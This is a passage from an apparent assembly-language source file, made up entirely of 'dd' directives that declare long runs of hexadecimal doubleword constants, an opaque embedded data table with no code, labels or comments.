3A1630D8h, 2F4C00ABh dd 0DA0CDDEFh, 0FA000573h, 46F82492h, 0A67636h, 0FBC5B757h dd 0FD673107h, 96A4D003h, 0A00CFCF3h, 0FB387F2h, 0D24FB4ADh dd 0E8197823h, 9DD403D8h, 43248C07h, 0DF20BE0Eh, 1B357Dh dd 0B48E1AC0h, 0A8CA177Bh, 52DDB000h, 0CB94FBB1h, 474C00D9h dd 80E92B85h, 2F0A32E1h, 9E130767h, 0D5215B00h, 3C73C106h dd 0F0802809h, 0E2813B3Ch, 0D606CB17h, 221080F9h, 41D500B6h dd 0C0AE8277h, 670E2DC6h, 0A0CCDC3Eh, 0EAD2262Ch, 0A410182Bh dd 0C6C3525Dh, 14006FECh, 3059B280h, 38C4317Ch, 63BB9232h dd 0E646580h, 1AD9F6EBh, 6256C000h, 0C82D90F3h, 490B0094h dd 0A3407769h, 0D50046FDh, 0AFC1BBAh, 73A2384h, 0BCDE654Dh dd 56A9C003h, 930059D8h, 46B91BE5h, 1AFF52h, 0C215055Fh dd 42EEF5C4h, 11002E7Bh, 6430B8F6h, 74F98F1h, 0DC1AF840h dd 806F2470h, 13B03F48h, 0C1A5CB01h, 11C65F8Bh, 0C3E3B442h dd 0BB74E07Bh, 0D3AA00A1h, 603ABC8h, 54005DCCh, 91EE5A31h dd 0E94310h, 932B141Dh, 53F9BD37h, 0F148A600h, 6636A59Ch dd 0B0D900EEh, 0A1A72CA4h dd 1F3D24BBh, 57B903D7h, 0E1E25C0Eh, 25FC7687h, 55A9004Fh dd 0C4891E0Fh, 5300A381h, 83208CFDh, 49540Ah, 13A5CD0Ch dd 0A22A8527h, 513CF400h, 3774B74h, 1C8438E4h, 72A93780h dd 95EED2FAh, 10DAA800h, 3DFF9271h, 6D4300A1h, 0FE01BDDBh dd 0CD03E63Ah, 0FB6208B4h, 65E8B820h, 0ED7C0087h, 0A2674BA7h dd 0F1009794h, 5E3B7D4Ah, 896EEh, 58840F18h, 28F2656Fh dd 1C83D900h, 4BFD8EC2h, 2F30F5Bh, 3C00C7BEh, 0FFA7935Ah dd 0A9000EFAh, 73D4E0F0h, 0E6A992Fh, 0A3CFBB49h, 190E956Fh dd 631AAE60h, 880053B4h, 61E27BF6h, 0F1FB9Eh, 0B5BCF8A4h dd 3E2B4CDEh, 93B4C60Eh, 9F6703D2h, 4D1BB8FCh, 0E6BDE46Bh dd 82E0120Fh, 0F12C006Ah, 0AA4F7A78h, 0A414E12h, 0BD61B04h dd 0FEB7E180h, 3C2800D3h, 4E1BD09Eh, 8C1D7836h, 0DA404A53h dd 924CCFC9h, 8B2900E4h, 84083FBCh, 1B70A6D7h, 0A04D6500h dd 0ADC409D0h, 4F9B3CABh, 81C33A00h, 5F85CF76h, 514A2303h dd 0D027C2E2h, 0DAA411h, 641EF4F1h, 71F838A5h, 5907E700h dd 7547194Ah, 0CD6300DDh, 685ABB86h, 370092D0h, 6169C83Ch dd 9787CAh, 96C9A832h, 6F169C6Eh, 8036453Dh, 3FCC627Ah dd 0CD2928h, 2010494h, 0C3E241F6h, 0B700BD73h, 6C8378D8h dd 8FA068h, 0B8C8EA8Eh, 0A17FF80Bh, 70821300h, 3BE28479h dd 0CD35001Ch, 776F244Ch, 10005BE5h, 0D42FD932h, 0EDF7414h dd 5CDB4161h, 17C40C0h, 8E01EACAh, 3FA8A9E6h, 90E3D9C6h dd 50F5194Bh, 0F7DF611h, 248D3CADh, 65D3E4A0h, 7700AA95h dd 872A8127h, 0F39C1Ch, 9BF71F8Bh, 4D6EA840h, 0DE92F000h dd 0D2C6252Ah, 0FCC013Dh, 0FB898F4Ah, 0AE72CC9Ch, 80BF8638h dd 0CD976FA7h, 98188110h, 0AC120364h, 2D6C0389h, 5CA80C8Bh dd 0B600DF83h, 3E4E5DEFh, 0A8CBF6h, 187BE028h, 0B41EAB33h dd 0B085E301h, 48E837CFh, 0A13E0F2h, 0BCAF5040h, 7FFE41h dd 49112CC1h, 0E285CF5h, 0F0078978h, 7A3020CBh, 0C8E05040h dd 13927C99h, 0F3BD276h, 0B7C05Fh, 770E39E0h, 681C7EDEh dd 35C096FFh, 87C0364Ch, 3F4E0183h, 5C317781h, 938CE48Eh dd 0B3F88090h, 543FD8A6h, 0A42980D3h, 0E4D9AE4Dh, 0EB7A5Ch dd 3CEEFEA9h, 27565BA2h, 8BC41200h, 480711A6h, 0F7E07Bh dd 17B3B160h, 70056319h, 0A30ED00h, 2044D95Fh, 709260E0h dd 370CCC2Dh, 0EF841100h, 0D45512C5h, 0D7523DBEh, 28D0B518h dd 846F6D36h, 1A930030h, 74701BDAh, 7EA0031Eh, 8B7C3617h dd 24D72103h, 0F1936369h, 0A1F35F11h, 8AFC4F06h, 0D65A006Bh dd 24D3897Ch, 3F0FFA66h, 20BBE531h, 30903651h, 0FF2B3FBCh dd 0A5A16E80h, 463C1A15h, 6BFA1800h, 0DD71E2E3h, 6170099h dd 7016226Ch, 0C2001238h, 72886A62h, 0F79CEh, 0AAD0785Fh dd 0D96673DEh, 0E02B19CFh, 0EBC83EB3h, 65F300B7h, 4DCB466Ch dd 6F3054A9h, 2029F0B4h, 6303E9DEh, 3F00C88Eh, 67967346h dd 398E614h, 72629E7Fh, 0A288B4C2h, 0C460B991h, 1F25F58Ch dd 1AE6E9h, 0D5DADFEh, 9CFCED1Ch, 0DDDB8600h, 9052F508h dd 64ECAEh, 57094EBh, 48309E26h, 80689100h, 5DE1DBE5h dd 0AC170F13h, 0C0DE6C39h, 5BCA8D41h, 7C1ECCF6h, 9C66E26Ah dd 9CB2D080h, 4870083Ch, 0B10EB35Eh, 0FE8CDAAFh, 0D47FF021h dd 6E60647Fh, 0C3E8C0E9h, 0F7570335h, 44339389h, 0D2037EE8h dd 0C4BB8D00h, 4E2126C7h, 88CF5070h, 3A1D00D5h, 0AF98BECAh dd 6B62356Ah, 4026A308h, 1C1300h, 0A83F833Ah, 0E3DE2F60h dd 0D404F800h, 0B474D8FBh, 0B12A0065h, 33319FDBh, 0BD0A13DEh dd 0B8D3D4AEh, 8C06EA9Dh, 11CC1Eh, 0AF69AA70h, 398A4B5Fh dd 840AD32h, 90984949h, 93769CCh, 3A2ADF66h, 0F5605820h dd 0C51FA867h, 0D68CCEC7h, 381D05Dh, 71381265h, 55E831A4h dd 0C64959C7h, 0CD5C0374h, 0E847A939h, 66251D12h, 0A19D08F5h dd 3905AB01h, 6A170156h, 0B322B1EFh, 4E6C8980h, 0BBF45E69h dd 714F3A00h, 4D42C40Dh, 0ED80A0EAh, 4AC70792h, 808D0109h dd 0D95CD38Ah, 0AB941C01h, 84BFD8CFh, 1056560h, 1EE8A3B8h dd 0C4F33EB9h, 18009C58h, 99322960h, 141CC9h, 79E9FA56h dd 6873F244h, 0EA6E7800h, 0B438E5A9h, 0BAB3004Bh, 0B6A29766h dd 0E300CA55h, 0D323FAEEh, 0B032AEh, 0F68F8A21h, 64B7F098h dd 87A6DA07h, 2F835990h, 0BF16F128h, 617098F1h, 0F123007Dh dd 0FF9777EDh, 4600C82Fh, 881465C4h, 3AF7331Ch, 85030810h dd 432FFEE6h, 0FD49CDD0h, 6BE7FC00h, 71B4DC92h, 0EA1C0679h dd 58A0C8B3h, 30F81F30h, 0A474237Eh, 8CDF030h, 0E34014C2h dd 42409F64h, 0DD80CC28h, 0CDA92D00h, 0C29924E3h, 0AA100029h dd 0E2C903EEh, 9861FD77h, 7A1D2850h, 4FB7C8h, 18E8819Ah dd 6C3340ABh, 0FD73CA78h, 8D49FE0Ch, 2860C0h, 6B44B9AFh dd 985DBF18h, 8845531h, 2080FB7Dh, 0FD44F199h, 0D10330DDh dd 0C4C6E003h, 5070003Ch, 0A6B46260h, 3F0127B8h, 0CD09CCDCh dd 20D4721Bh, 60FDE08Ch, 336A0E6h, 0D1181335h, 94898023h dd 0BE02868Fh, 500F4C44h, 0FC0C1859h, 1167C80h, 0ECC5F444h dd 0E45C271Dh, 2C00EE82h, 0F7C7654Fh, 0A05455EDh, 0D646F4h dd 0D8A34AD9h, 8921B55Fh, 0FE9E0F1Dh, 1023CC80h, 0B7DF4Fh dd 0C9D3E60Bh, 7DBDDD24h, 0B6991100h, 815266EEh, 0FE603C84h dd 0DA880F00h, 5B79BE86h, 0DEA7CD00h, 6BC4C99Ah, 4A4007Fh dd 6D2392D7h, 0F20047ABh, 63DA4336h, 3DDF84h, 8FE0F9A5h dd 0C0010632h, 0C7BC0301h, 8C4EC95Dh, 1F4C21F8h, 80CD4230h dd 64B11E6Eh, 0A500488Ah, 149D8CFAh, 86FE3Fh, 0D8C42476h dd 3DA9E328h, 0B06DD400h, 71F99F52h, 887D007Fh, 0CEAD32F5h dd 821891BAh, 0C6A06A28h, 0D0B800EAh, 0DD4D63D8h, 0E006457h dd 7A3C8AA9h, 67C2C4h, 0B274136Bh, 0BC34D938h, 782AD200h dd 60F40712h, 99C9C0DEh, 98DB2649h, 0A701D00h, 438CCF24h dd 0C9E80E5Fh, 0B080E9F9h, 842853F0h, 0A580E4E1h, 0C644AB05h dd 984EA74Ah, 9F70EE61h, 60CED7CEh, 0D1E08E16h, 0DBC8C0FDh dd 2BC2F6A0h, 0B5007BFAh, 490EEE8Fh, 7FDE8E0Ah, 536137F2h dd 9F18C041h, 3100861Dh, 72104C97h, 58D7F430h, 8100A86Ch dd 707D56F5h, 61C0D3B7h, 4D8D6517h, 0D577009Bh, 0EE750B5Ch dd 5B0082B5h, 6139A63Fh, 65AED8h, 9F249AE5h, 7CA50D83h dd 2EB80B07h, 0DE61A06Fh, 60F8B16Ah, 7E37005Eh, 0DC462A29h dd 0DD003C7Ah, 6448A55Bh, 1D248E81h, 0F9BC0h, 8017C602h dd 6B05A9CAh, 2981E55Eh, 9C629E07h, 0D8748BB7h, 0B89B66C0h dd 0E4818E4h, 464F2865h, 0F60E92E4h, 605628AAh, 1F95AC4h dd 0E5EE0061h, 5EB85398h, 30C73887h, 0FC80519Ah, 91C547h dd 0B0FFC05Ah, 302C90CEh, 3F54A400h, 833799C6h, 0C4EC60h dd 15FBCA06h, 41971776h, 39001DECh, 0EF2205CCh, 128DED0Fh dd 834070h, 14081C4Bh, 71001F62h, 0AB4E962Ah, 0E1AE8F0Ch dd 16B40DFCh, 6B84DAh, 25AA5E50h, 7CE899E2h, 7AF096C0h dd 39E38016h, 4A0094D8h, 0A0560771h, 0D900FD37h, 6E6BB659h dd 0C0574817h, 0F398D5D0h, 0CF006196h, 2C99D180h, 0A33919h dd 9F6814E0h, 0B2F54952h, 13ED1200h, 913BA29Ch, 0FAA37457h dd 517369h, 811207B3h, 27BFA01Ch, 0B601E87Dh, 90B113C3h dd 0D3D0C75Eh, 63441495h, 0C6BC303Bh, 3B52A821h, 0EE1EE480h dd 3F9AEC02h, 9E73A302h dd 0C0BEF052h, 1DA72E55h, 80DCE825h, 0C60A7C23h, 6C288497h dd 1200894Dh, 925CB3Ah, 0C85D716h, 6F5CD29Fh, 360C9C50h dd 70FAD471h, 557A0015h, 4BB8B6D7h, 281D389Dh, 0E40C9B83h dd 0BF2058h, 0B9FBD288h, 3F1FA77Eh, 5B134A0Ch, 301A409Ah dd 15A921C5h, 1800E7A1h, 0BC8C6C4Fh, 0DC50EFh, 5531B5B1h dd 0E219287Ah, 7F3E347Bh, 2F800D4h, 0CEC5CA9h, 2469F0D8h dd 7D3B80Dh, 900E2BF2h, 23958953h, 4224D718h, 0FF13758h dd 14BD76F0h, 81345CC0h, 7E48D055h, 0E8470043h, 5E6DA5A3h dd 0DB6B00F8h, 1E255107h, 87009FA8h, 0C1C25701h, 712BDFh dd 1A5603D9h, 8C7B62DAh, 242DC500h, 76271E65h, 3E27A20h dd 6B4AEB98h, 0B0870E5Bh, 4EB2A147h, 0A0BC200h, 7D0F0C49h dd 0A46F00C8h, 0DE942BBBh, 0D97DEB1Eh, 43900500h, 0E442D7D2h dd 0A6380046h, 8BE62D28h, 8000B726h, 9984796Eh, 0F6B10BB2h dd 28FEDFh, 0E94DF9D7h, 6560403Eh, 0A3F3F200h, 560DE676h dd 0D8F724F5h, 21F03DDh, 0D4F1ECFFh, 26909D60h, 0DE24EDC0h dd 77C911h, 0FF4D06DAh, 2C5F64B5h, 0D3A03202h, 40C6F073h dd 4FE868h, 6577B730h, 90F8B3BDh, 82D25709h, 0A03008Eh dd 3BEA5F5h, 0F60B2F87h, 44E80F52h, 4A0068C3h, 0F5CC78F0h dd 76DDE0Ch, 0AE80671Fh, 7482F09Dh, 8F58588Dh, 2F077B7Bh dd 0FA495D4Bh, 540AD770h, 0CE470075h, 871A5CBFh, 0FF009DC2h dd 3E79346Eh, 1517A3h, 0B8AB2156h, 112A5F6Ch, 233BE100h dd 0FD255D52h, 9D66003Ch, 9811B33h, 0B1003470h, 4559397Fh dd 0F63A16DBh, 3B1700C0h, 1AB08956h, 58301C20h, 0A6D2D019h dd 71920770h, 95DF6977h, 0CB7F80C5h, 6A0015E0h, 0A71EB878h dd 0F6BAC6Eh, 59AE5E8Ah, 97B176E0h, 11760329h, 6434EA00h dd 0F2AF6BBh, 0F42F00BEh, 16536BD1h, 0F9E750A4h, 3C90C8C2h dd 0AA8A300h, 983D33C0h, 0FF8903BEh, 0D1A7543h, 943767E0h dd 0B8C25403h, 802A1123h, 3FE5213h, 721DDF7Dh, 29CADA6Ah dd 0D2E380A0h, 971C8C44h, 0D140565Bh, 8EE6F4A1h, 0E8EC0553h dd 1F726C2h, 560FEB8Eh, 2FAE41Fh, 628F7007h, 51B0AB72h dd 0B009AEh, 0F44A18D9h, 7A938808h, 58E87F1Ch, 0C2A140C0h dd 6BB14C9h, 3D13F7F3h, 0EE7B88E6h, 2561BC00h, 341A9B84h dd 98EB00B8h, 52C866D6h, 0B10027FDh, 2CC95E22h, 324502Fh dd 0B987F035h, 10012E98h, 89A6E274h, 71E0A7EAh, 33B0E6h dd 0F98833E5h, 80705956h, 27646D06h, 6944D5h, 0DD035C17h dd 1B0DEC3Ah, 141D48h, 0FF5301DEh, 4ADEDh, 0A1274DCh, 0BA2F6FFDh dd 1FDFB600h, 671C0527h, 80F10788h, 74FC84A1h, 0FD4C800Bh dd 6C0056DCh, 0B23F33F5h, 0ECD0DC0h, 491D9DE0h, 8CD7C860h dd 940055CBh, 6CA0BA63h, 7968FB44h, 2EAD0178h, 33895C9Bh dd 9C86D8CEh, 2239D300h, 2FB70263h, 7E40067h, 31FABE78h dd 76F043C7h, 8C60E0EEh, 0EE56FF11h, 0C6F503C1h, 0FE606E7Ch dd 0CF9345B0h, 0C0DDCC00h, 2DF7BC4Dh, 9DA900DCh, 30C63423h dd 90057AEh, 0FBD1C3E4h, 3041F87h, 2C959039h, 30C8C6FDh dd 2400AD40h, 0A346662Bh, 48AE584Ah, 0B700DC6Eh, 87535022h dd 0F4F6CD26h, 1DA0B300h, 5F47D94Eh, 32C383Ch, 39BFF980h dd 338E7BC0h, 96075309h, 0FBEh, 2910BD31h, 1A6F45Eh, 88CB7A4h dd 0C8D2DDF9h, 2D0E16D5h, 99198Ah, 5B0D1D2Bh, 0EBD00B7Ah dd 0FF803556h, 0CAEA22D9h, 80000FEEh, 0DA67043Ch, 139C5B1Dh dd 0A2B28Eh, 0B9D04830h, 97F6A7E6h, 0E2141300h, 7824F207h dd 935005Fh, 0AC86DE82h, 54025DC1h, 8E5C4F61h, 6398404Eh dd 0EE5100FFh, 0C5BA13E3h, 26005384h, 4D6935EFh, 0ABB9D0Eh dd 56FE7830h, 0D2D039C8h, 7C76FFh, 0B05F45BFh, 0E5FAF209h dd 7F5CA300h, 2067B8A5h, 0DF1B00D0h, 21EBC9E1h, 6F00AE96h dd 7DC2C6DDh, 36916h, 663F623Eh, 0A07AFDE8h, 3A38837Ah dd 0DE31E337h, 0DC42C851h, 521E0E85h, 884E10DDh, 308D59E0h dd 0B8000F34h, 75CE370Dh, 0E65DD01Dh, 79BA00E6h, 0A77632E2h dd 0FC2EE3DCh, 0E0008427h, 49A187D5h, 0D485006Fh, 265D28EBh dd 900F015h, 2339E59Ah, 8FAA14h, 0BF36350Ch, 0C2F61F1Ch dd 6E913Eh, 6A036C2Eh, 1CACF267h, 80B947A8h, 0E0D335B1h dd 0B0000256h, 4E2D9F84h, 437FA7h, 0F025C829h, 64D34DFDh dd 2C0C3700h, 36833FA6h, 94D71C0Fh, 0F53D1Dh, 26911617h dd 0AF0D2BEDh, 3A834507h, 2FFF3336h, 24D880A1h, 0FF0EC1Bh dd 90BAC35Eh, 3C7B2920h, 0E73DB54Bh, 1E188036h, 0A379F94Fh dd 1EB1FF0h, 40049224h, 447E1DB8h, 2AE6136Dh, 0F74A1200h dd 63EB0ECCh, 47AF00DFh, 3A56F6Eh, 0DD4C140Bh, 0F8BE0020h dd 85E4B0FFh, 41A1009Dh, 0F0E350C0h, 0B8007F4Ah, 669CD6B5h dd 3ABFE7Ah, 0C0E5582Ch, 2D98DC83h, 570022F6h, 3A74378Ah dd 0BBCCCAFh, 0BEEDDBA1h, 0DDF64080h, 81244E2Bh, 0C9009052h dd 62D1133Fh, 455400FFh, 0FC74157Eh, 0D2092305h, 80D89896h dd 72837979h, 0E2CE013Dh, 4D0FBFBBh, 23608146h, 6E04C7FBh dd 7D7460C6h, 7F760554h, 976D7A27h, 245A1014h, 0DC07CB20h dd 9030C40Ch, 7432693h, 79F72A20h, 1DD34158h, 0A8BEC3h dd 24376022h, 3D8B106h, 0B7A14889h, 0BCD88DB3h, 200C0E7h dd 7670C6EBh, 0C40E60Fh, 55B1A50Ch, 9C2CD541h, 2A0010C2h dd 3D9778C7h, 7183030h, 7D587C20h, 7920D14Dh, 2A316203h dd 800AC86Ch, 3977FAh, 0C499309Dh, 0FC24A3A0h, 30A2732Ah dd 5B00F470h, 0E680EB21h, 14BE837Ch, 0AD7E1B48h, 0CDC96100h dd 0D1CA0C2h, 95066A1Ch, 0F37DD140h, 1B1BF6Dh, 0B0F4E8F2h dd 20D0354Eh, 601DD3Dh, 91CA90DBh, 2DD0C360h, 0BEF0FE3h dd 79607284h, 0ED2FB2D7h, 5236FE00h, 32C04540h, 0B3CC380Fh dd 8E10A80h, 3339D994h, 280E150Eh, 86516052h, 0B17B18h dd 0B791F1ABh, 0BA62BFEBh, 0F7DB341Bh, 3657A7D8h, 0F39C52C0h dd 7CE30B35h, 4C0C0DE1h, 0B30017F0h, 3948904Ch, 60C6D5B1h dd 5B5361B5h, 0E907F465h, 542E3351h, 914F8810h, 618A72CEh dd 0FF0C408Ch, 7F40C81Ch, 15A8C74Ah, 55006A38h, 0AF66EF74h dd 68004170h, 1D9BEB2Bh, 1422436h, 0FE55D872h, 0D5C73405h dd 0F010213Fh, 0D2037CBAh, 34FF70Eh, 9C6F8836h, 11AD01D4h dd 0CF33CD7Ah, 0F2D4501Dh, 4492B5CAh, 82F80900h, 0F6664A0Bh dd 72C2035Ch, 3873630Eh, 0F18C90E8h, 57308373h, 0D9963053h dd 750C1ED5h, 226F0FC8h, 94400072h, 3899FE27h, 0F05C17Ah dd 54149075h, 8EB68801h, 40815179h, 0C6B5DEECh, 2CA44132h dd 7B8E30CDh, 1E4C4913h, 0B4236207h, 0E6BDBC30h, 417793h dd 0C3FB77EEh, 0E4F4E014h, 0C1A35500h, 813429EFh, 5DB200CDh dd 2E54C7A2h, 9939DD57h, 0B91F80FBh, 63C6B85Ah, 4F983E5Ch dd 665EA403h, 24E067EBh, 9E7EC175h, 0A9B77001h, 0B35A06FCh dd 0A0F13180h, 519DE7CBh, 974BB600h, 0A76B16C9h, 52B03973h dd 0BCED9A00h, 0F84D5DD4h, 0B73DABE4h, 0FC878EC8h, 0FD3BC023h dd 7711A3Fh, 2BDA7C06h, 4EDC83FBh, 7BA902A0h, 0CD348000h dd 0F99AE0A8h, 9F103165h, 0DBA41BC8h, 0D7B863A0h, 0E5447F00h dd 0EC534ACEh, 0B42032Ch, 0C84EB9B4h, 76CF900h, 0BA06393Bh dd 0F01000DEh, 7F41BC43h, 0D1C063ACh, 3D20D468h, 0A8200D2h dd 934B5EFEh, 45F6921Dh, 850BF300h, 97C6EF8Ch, 25F403E9h dd 0F786DD9h, 57458800h, 8720EC2Bh, 26E7007Fh, 556ADBC0h dd 0E000039Bh, 0B083D9E2h, 6DA415Eh, 4CF25DA8h, 0B500A18Bh dd 2595EA9Ah, 0B8A1CC26h, 0BB5F00D5h, 60D0F987h, 8A778D0Eh dd 0A72F281Ch, 0D7F362C3h, 936BF895h, 0B6E5005Eh, 3ACB806Fh dd 3B004BF6h, 0D5BED930h, 324741h, 46F0D6F7h, 40A55D08h dd 6B96A03h, 0A1DAA8AAh, 87D0C0F6h, 0F1F00FBh, 410AFAC9h dd 0A4A01A7Eh, 5D0FF485h, 80FF4FDDh, 102512DAh, 0B0980339h dd 2C83D51Dh, 0B10140D6h, 0FBE3B737h, 7898B4A8h, 0DFBB1813h dd 0A002574h, 0BDA4FAD0h, 58AE43h, 0A76708F3h, 0BBFC83ACh dd 0E7A9C300h, 0D91ECD89h, 29D57488h, 872CF999h, 0B0DFECC7h dd 6A1406Ch, 0FDE2ED00h, 3E9C266Dh, 0C098DC3Ah, 839D5DAAh dd 0E4B0F428h, 814DDA38h, 287C7E4h, 0F0B11F88h, 87BD9C08h dd 154D6219h, 0C090D7B0h, 0D4290F5Ah, 0A2082E2h, 891C21E7h dd 0EC85B31Ch, 0D00986Ah, 5F369C38h, 7BFCD1Fh, 32CC623Ah dd 0C88B1188h, 0D46CCDFBh, 9C00A197h, 7F788CD1h, 389D1A41h dd 5A806103h, 0CC322002h, 63280DB0h, 5D01241Eh, 5A8889D1h dd 0FAC99639h, 280620F4h, 35C4F3F9h, 81CEFh, 0E1F77338h dd 0A8005B45h, 7C8A9271h, 0F0517EA4h, 40C0DFA5h, 0C850B11Dh dd 340CE8CBh, 41FC4FD5h, 0E04600D1h, 5EA7E351h, 5609A89h dd 73F67FE8h, 78AF001Ah, 0BEE259D2h, 0DE005A40h, 4CB288B4h dd 9B7B47h, 4629AC44h, 0C74B3DD6h, 0CA00BAB8h, 0DA0BC957h dd 3A17FE9h, 1F5B5298h, 0F4803DFBh, 0A9005AE3h, 0A54ECEC2h dd 2A4F04h, 8FAC931Bh, 5D3DD4B0h, 6364F909h, 0CB4800F0h dd 0B047364Eh, 28B000CAh, 76865570h, 9E005194h, 0D550E7D1h dd 5087CF8Eh, 0F8EAA895h, 40C260DAh, 9FEDA34Dh, 67C59C1Eh dd 8773F871h, 2CEF2770h, 7BF45D3h, 446D6B2h, 1C99802Fh dd 0A93E47F2h, 70330004h, 0A31516E9h, 7B9D0097h, 3FF039A0h dd 140F0662h, 80CDB566h, 2A70DAABh, 19AC0035h, 494324D3h dd 511B48A4h, 10CD5Ch, 409C6109h, 0CCD56FC5h, 0B80B3970h dd 8B5A1713h, 9FE10117h, 8BD4454Ch, 5F9412h, 580B6AFDh dd 7417E4EFh, 0BC0C780Dh, 1AEEEBEh, 5B2E1F60h, 0C44F2AF0h dd 5200C473h, 0ACCFBFC6h, 44542Dh, 3BAF0AC5h, 4148A760h dd 80218600h, 0B6E7BAFBh, 954000F2h, 5796D67Eh, 8BFE3BECh dd 84E45000h, 0A30E12D2h, 81E853h, 47A897FDh, 0CBB12FABh dd 16D42A00h, 43143282h, 6FFB008Fh, 25E9EE90h, 59F20B1Dh dd 821BC501h, 0F944E694h, 782830h, 0D4C4C11Eh, 9BA24161h dd 3EF59300h, 24CE8915h, 82830159h, 0E3DA7177h, 40EBC486h dd 0B2FDF700h, 0FC938462h, 5FA8000Eh, 0ED428EF6h, 8008C6Eh dd 86C1AFE6h, 1583F9h, 0D38B3E31h, 12D57182h, 7ECF873Ch dd 0CDA38507h, 724026C1h, 0B239DCh, 46EE3A18h, 236E5691h dd 51409848h, 0EF2E069h, 0B266B800h, 222B4659h, 0A8480014h dd 41013240h, 82001C02h, 3D69C89Eh, 0F681C7h, 2BEE29EBh dd 0DB97EC06h, 9A624C00h, 0A9D0B3B8h, 66B500BCh, 70E63B05h dd 0A077697h, 2F0C34F7h, 69402C57h, 39335624h, 710C1F49h dd 82705CFEh, 3D091679h, 81A1Eh, 1B135A4Bh, 1E787C45h dd 5E4940B8h, 85CF4133h, 40A52B01h, 12843FC4h, 0DCA9820Bh dd 0E29E00D2h, 4EFF90h, 5CACE42Dh, 2942955Eh, 0BC813500h dd 0B202C6FBh, 86DD02DFh, 27D43ECBh, 0D2B62440h, 0D6E12F12h dd 4C023C00h, 0AC7C38h, 9895E389h, 0D04124B5h, 7C31872Ch dd 43D7E200h, 0AA6E82h, 7676DAFh, 0DF4BCEADh, 1E0062FAh dd 0BD0239BFh, 386CC59Fh, 1C00ECD9h, 7FC79AE4h, 7D01A771h dd 0E6FF299Dh, 0ADD0DAC5h, 0B9020008h, 45A4A066h, 91072E3Fh dd 0F02B2F75h, 0E8859490h, 462A0098h, 0AA7DDE27h, 1C1D80B6h dd 0F9004B8Ah, 441E0350h, 1AAD0CBEh, 0D34892DAh, 0B8345E07h dd 4CF06078h, 18E5655h, 0E1136221h, 5095A4FCh, 9E42EFCh dd 6DC08B00h, 0C7F758E6h, 76480194h, 6F52162Bh, 0AFB080AAh dd 6AEB27B5h, 657B48B6h, 0FD3C6C00h, 0A59B9559h, 0C60ED1F2h dd 604B0865h, 72F9D715h, 13DA2E89h, 2C2F096Dh, 0E4790400h dd 340063DFh, 0D99445A1h, 0FE28B5h, 0CD4E694Fh, 0BD595403h dd 0A051BE30h, 0F96D5F73h, 8BED60h, 8DBBFA01h, 0FC5C1993h dd 2F4E3D07h, 0A1D06D44h, 3E69EC29h, 1E80548Eh, 0B29FCC71h dd 5C00CD1Ch, 37BFCE9Bh, 3A56B20h, 0B5098527h, 0AED9792Eh dd 0EEBE804Dh, 0BC2F470Fh, 344B1BA1h, 92D3F81Ah, 0AC1B9800h dd 74AE3021h, 393201A6h, 8F22F943h, 0A14E307Eh, 0D3173A00h dd 183D0833h, 1243012Eh, 0AAF3C34Bh, 0E463F85Ah, 6400CE76h dd 1F31994Dh, 0B514762h, 7F3858D0h, 4A393680h, 3000D2E9h dd 6A541401h, 0AF0769h, 395E7E8h, 0EFA7CC2Bh, 22BA9B00h dd 0DCD1A23h, 0B6870ED7h, 0ED603E41h, 5D9C663Ch, 0F7930200h dd 0C71069BAh, 1EF1E4ADh, 9CCA5809h, 717BC03Eh, 32076CD6h dd 3DF47800h, 29091C37h, 0EB5C16E3h, 0B38C00C1h, 86C910Fh dd 4A97BC37h, 0BEC2F1C4h, 2824B00Dh, 30EE022Dh, 0A77EFB4Bh dd 1B76E5E0h, 34DC491Ch, 0B8F9E40h, 0C52516h, 0CB7AEF7Dh dd 29183F6Fh, 0DCE90300h, 61895178h, 0B0F9FE0Eh, 0D0991F0Bh dd 0CAEC800Dh, 0EE54C14Bh, 0C31C7700h, 22DB3484h, 0FD700385h dd 0D4E2A232h, 5890A0C8h, 16C0E107h, 80FE73B9h, 64958B30h dd 0D3420197h, 223FE0F1h, 0A9AD43Ch, 3558900h, 0A7A86316h dd 0ADF80064h, 0CCA122E1h, 0B71D4EFEh, 60004C2Ch, 0FD98262h dd 0FD7D00D6h, 0A68D3990h, 0DDB891BEh, 82B45700h, 0E5A72C48h dd 0E14D074Fh, 45B9CE55h, 3F87FAF5h, 0C2BD6FD0h, 4E280034h dd 0EFF8468Bh, 0C70EAEE7h, 0A0671DD1h, 0FC392D20h, 30520060h dd 1F76AFF4h, 0F007B61Bh, 72B5FDB8h, 154B4070h, 4AB900AEh dd 0D77874CEh, 8F0571D1h, 3DC7BC60h, 0B205EB00h, 12496A42h dd 0EBAD3BF1h, 4715D70Fh, 8690EDE7h, 3CF6E60h, 0E2AF7643h dd 6BA813BDh, 4A008346h, 0EFE52512h, 0E93331h, 0C5CABE2Ch dd 0AAD2E1DFh, 0EE008E71h, 0F94A05Dh, 5AB608h, 3E7E224Eh dd 0A720C144h, 58C78900h, 59D9B03Fh, 2373004Ch, 97B8577Eh dd 6AE4313Dh, 0C23B5C03h, 0C8CDC31Fh, 0EE5AD51h, 468513E9h dd 34A55D40h, 0C8001D01h, 386E754Ch, 9D32656h, 470C0FC9h dd 8B6A9C01h, 0FE03F84Bh, 627FA100h, 0AEE18955h, 0B06049FDh dd 4024631Ch, 9D022698h, 0E242568h, 10004C31h, 0A1B4A229h dd 949097h, 0FCE97DE5h, 913D7EA0h, 8D630109h, 7F5C00F0h dd 0E807669h, 7EFF8B50h, 0CB641221h, 0E0AFEFB5h, 7257C0D2h dd 227F302h, 86E2C2BCh, 110FAF6h, 375CA57Bh, 340B754Ah dd 5F0C8910h, 50926D56h, 0F509021Fh, 7A16C146h, 0C5AF140h dd 0F40081E4h, 98E458FBh, 28D3BAC6h, 0D76995h, 0E8F3F6D7h dd 36F28EA4h, 3DBCDF00h, 9207344Ch, 6D2C00E4h, 4BA7C564h dd 613F1157h, 0AA3A000Fh, 0FF759D94h, 646200BCh, 263D8B0Ch dd 40FB0B6Dh, 92F7A6C2h, 2F8FF000h, 0DC875F0Fh, 42200B3h dd 4DFD1AC7h, 0A0006833h, 55F8D582h, 2E933E84h, 9E9C38h dd 26CAA694h, 5A1FDA57h, 6800E1FBh, 4FEF0207h, 0B9090350h dd 0B5D05C2Bh, 396A69A8h, 1D30E84Ch, 2212FBh, 0FE364EABh dd 13AF1557h, 0C0F7F501h, 7144FFB3h, 38D9030h, 52D591C6h dd 0C3D0BFA3h, 82006D0Bh dd 0D7338A03h, 1BE609Eh, 665B6A28h, 0EB9DC1h, 2D6EA25h dd 0A1F20E83h, 0C448F4DEh, 0B214A45Ah, 0C8B171h, 465E1B93h dd 0E8C509E0h, 0D9061404h, 0BC048CF8h, 0C0539073h, 48C92878h dd 24F40C54h, 0D07BBAC0h, 6062813Fh, 